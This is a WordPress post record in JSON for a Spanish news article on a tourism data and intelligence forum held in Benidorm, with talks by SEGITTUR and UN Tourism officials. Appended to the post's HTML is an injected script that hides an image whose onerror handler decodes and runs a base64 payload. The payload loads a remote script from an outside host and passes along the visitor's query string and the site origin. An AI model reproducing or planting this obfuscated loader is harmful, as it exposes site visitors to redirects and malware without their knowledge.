{"id":14917,"date":"2023-11-29T08:34:03","date_gmt":"2023-11-29T11:34:03","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=14917"},"modified":"2025-08-13T16:04:29","modified_gmt":"2025-08-13T19:04:29","slug":"la-gestion-de-los-datos-del-turismo-mejorara-la-experiencia-del-cliente-y-la-optimizacion-de-las-empresas-del-sector","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2023\/11\/29\/la-gestion-de-los-datos-del-turismo-mejorara-la-experiencia-del-cliente-y-la-optimizacion-de-las-empresas-del-sector\/","title":{"rendered":"La gesti\u00f3n de los datos del turismo mejorar\u00e1 la experiencia del cliente y la optimizaci\u00f3n de las empresas del sector"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-a667c0ede7cdc439690b74c5889f9f4f\" style=\"background-color:#703103\"><em>Expertos reunidos en el \u2018Foro de Inteligencia Tur\u00edstica y datos, claves de la sostenibilidad\u2019, celebrado en Benidorm, est\u00e1n de acuerdo en que los datos permiten a los destinos y empresas del turismo tomar decisiones informadas basadas en conocimiento, prepararse para lo que viene y mejorar la experiencia del cliente.<\/em><\/h4>\n\n\n\n<p>El foro, que ha reunido a m\u00e1s de 250 profesionales del sector tur\u00edstico, ha sido organizado por la Secretar\u00eda de Estado de Turismo en colaboraci\u00f3n con la Comisi\u00f3n Europea en el marco de los actos de la Presidencia espa\u00f1ola del Consejo de la Uni\u00f3n Europea.<\/p>\n\n\n\n<p>El foro ha sido inaugurado por el presidente de SEGITTUR,&nbsp;<strong>Enrique Mart\u00ednez;<\/strong>&nbsp;la secretaria auton\u00f3mica de Turismo de la Comunitat Valenciana,<strong>&nbsp;Cristina Moreno;<\/strong>&nbsp;el subdirector general adjunto&nbsp;DG&nbsp;Grow&nbsp;-Mercado interior, Industria, Emprendimiento y Pymes- de la Comisi\u00f3n Europea,&nbsp;<strong>Huber Gambs<\/strong>; y el alcalde de Benidorm,<strong>&nbsp;Toni P\u00e9rez<\/strong>.<\/p>\n\n\n\n<p>El presidente de SEGITTUR,<strong>&nbsp;Enrique Mart\u00ednez,<\/strong>&nbsp;ha destacado en la inauguraci\u00f3n la importancia que han adquirido los datos en la toma de decisiones, aunque ha subrayado la necesidad de saber el prop\u00f3sito para el que se adquieren y se analizan los datos.<\/p>\n\n\n\n<p>Los destinos como Benidorm y Pa\u00eds Vasco han coincidido en que los sistemas de inteligencia tur\u00edstica ayudan a tomar decisiones de forma m\u00e1s optimizada y en base al comportamiento del turista durante todo el ciclo de vida del viaje, aunque es imprescindible que aumente la granularidad de los datos para tener una informaci\u00f3n m\u00e1s exhaustiva.<\/p>\n\n\n\n<p>Por su parte, la directora ejecutiva de la Organizaci\u00f3n Mundial del Turismo,<strong>&nbsp;Natalia Bayona<\/strong>, ha destacado que el dato est\u00e1 en el centro de las tecnolog\u00edas en turismo, a la vez que ha animado a Europa que adem\u00e1s de ser l\u00edderes en turismo sean l\u00edderes en tecnolog\u00eda tur\u00edstica, contribuyendo a impulsar la digitalizaci\u00f3n de las pymes y la formaci\u00f3n en datos.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Conocer las preferencias de los turistas<\/h2>\n\n\n\n<p>Durante el evento se han presentado los proyectos de espacios europeos de datos DATES, liderado por&nbsp;Anysolution, y&nbsp;Tourism Data Space, liderado por la empresa espa\u00f1ola&nbsp;Forwardkeys, cuyos beneficios ser\u00e1n m\u00e1s eficiencia y ahorro de costes, un aumento de la eficiencia, una agilizaci\u00f3n de los procesos y un acceso a mayor n\u00famero de datos y de mayor calidad.<\/p>\n\n\n\n<p>En relaci\u00f3n con el conocimiento del turista a trav\u00e9s del an\u00e1lisis de datos, empresas como Visa, Civitatis y NH creen que esta informaci\u00f3n permite saber por d\u00f3nde se mueve el turista, c\u00f3mo act\u00faa en los destinos y cu\u00e1les son sus preferencias, lo que permite al destino una mejor planificaci\u00f3n y a las empresas una reorientaci\u00f3n de la oferta en funci\u00f3n de la informaci\u00f3n obtenida.<\/p>\n\n\n\n<p>Todos ellos se han mostrado convencidos de que los espacios de datos tienen que tener un liderazgo p\u00fablico indispensable, pero donde hay que crear un valor compartido por parte del \u00e1mbito p\u00fablico y privado, y seleccionando siempre datos de datos que contribuyan a conseguir un turismo m\u00e1s sostenible.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><a href=\"https:\/\/www.segittur.es\/sala-de-prensa\/notas-de-prensa\/la-gestion-de-los-datos-del-turismo-mejorara-la-experiencia-del-cliente-y-la-optimizacion-de-las-empresas-del-sector\/\" target=\"_blank\" rel=\"noreferrer noopener\"><img decoding=\"async\" src=\"https:\/\/www.segittur.es\/wp-content\/themes\/wp-bootstrap-4\/assets\/images\/logotipo_segittur.png\" alt=\"\" style=\"width:452px;height:auto\"\/><\/a><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Expertos reunidos en el \u2018Foro de Inteligencia Tur\u00edstica y datos, claves de la sostenibilidad\u2019, celebrado en Benidorm, est\u00e1n de acuerdo en que los datos permiten a los destinos y empresas del turismo tomar decisiones informadas basadas en conocimiento, prepararse para lo que viene y mejorar la experiencia del cliente. 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